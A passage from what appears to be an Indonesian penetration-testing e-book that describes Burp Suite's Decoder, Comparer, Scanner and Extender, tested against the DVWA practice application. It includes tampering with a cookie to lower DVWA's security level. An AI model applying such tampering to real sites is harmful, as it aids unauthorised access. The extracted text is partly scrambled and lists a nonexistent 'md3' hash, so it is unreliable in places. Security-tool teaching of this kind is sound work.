  • 64. 1.6 Decoder Perangkat selanjutnya adalah Decoder, perangkat ini sangat bermanfaat untuk melakukan decode terhadap berbagai jenis encode yang umum dipergunakan seperti URL, HTML, Base64, ASCII hex, Hex, Octal, Binary, dan GZIP serta juga mendukung encoding dengan tipe-tipe diatas juga. Selain itu perangkat decoder ini juga memiliki dukungan untuk melakukan Hashing dengan dukungan beberapa algoritma hash yang sudah umum, seperti: md5, md3, SHA, SHA -256, SHA-384, SHA-512 Gambar hasil analisa tingkat kerandoman dari token yang dipilih Gambar Penggunaan Decoder 63
  • 65. 1.7 Comparer dengan security level high pada aplikasi DVWA, seperti pada gambar berikut, Burp comparer adalah perangkat yang berfungsi untuk melaku- kan perbandingan, seperti aplikasi diff pada unix, tetapi dalam hal ini yang dibandingkan adalah antara HTTP request atau antara HTTP Response. Untuk mengirim ke comparer dapat melakukan click kanan item yang akan di compare kemudian dipilih request atau response-nya seperti pada gambar berikut Gambar melakukan compare 2 buah request Dari hasil perbandingan diatas kita mengetahui dan dapat mela- kukan modifikasi cookie untuk membuat security level kita low tanpa perlu melakukan set security pada aplikasi DVWA, seperti yang kita lakukan sebelumnya pada bagian proxy. Gambar Mengirimkan item ke Comparer Sebagai contoh pemanfaatan Comparer adalah kita melakukan perbandingan antara login dengan security level low dan login 64
  • 66. 1.8 Scanner & 1.9 Extender (Pro-Only) Perangkat selanjutnya yang terdapat pada Burp suite adalah Burp Scanner dan Burp Extender. Kedua perangkat ini hanya tersedia pada Burp dengan versi Pro, dan tidak akan di bahas secara mendetail pada e-book ini. Sedang untuk penggunaan Scanner kita tinggal melakukan klik- kanan dan memilih mode aktif atau pasif, tetapi sebaiknya kita mendefinisikan Scope terlebih dahulu serta melakukan crawl- ing web aplikasi dengan Spider. Gambar hasil penggunaan Burp Scanner untuk aplikasi dvwa Dari hasil ujicoba tingkat keberhasilan burp dalam mendeteksi celah keamanan relatif cukup baik, burp juga meminimalisir ha- sil false positive, selain itu metode scanning yang dilakukan Gambar Penggunaan Scanner burp juga memberikan tingkat lebih dalah berhadapan dengan Dan hasil dari penggunaan Burp Scanner akan terdapat pada perangkat keamanan web seperti IDS, IPS dan Web Applica- tab scanner, seperti contoh berikut ini adalah melakukan scan- tion Firewall. ning terhadap aplikasi dvwa. 65
  • 67. Gambar validasi salah satu celah keamanan yang ditemukan Burp Scanner Burp Extender adalah salah satu fitur yang memungkinkan pengguna dan pengembang untuk mengembangkan penggu- naan dan fungsi dari Burp Suite, sebagai contoh adalah salah satu extender sqlmap untuk Burp Suite yang di buat dan dikem- bangkan oleh Daniel Garcia Gambar SQLMap Extender untuk Burp Suite 66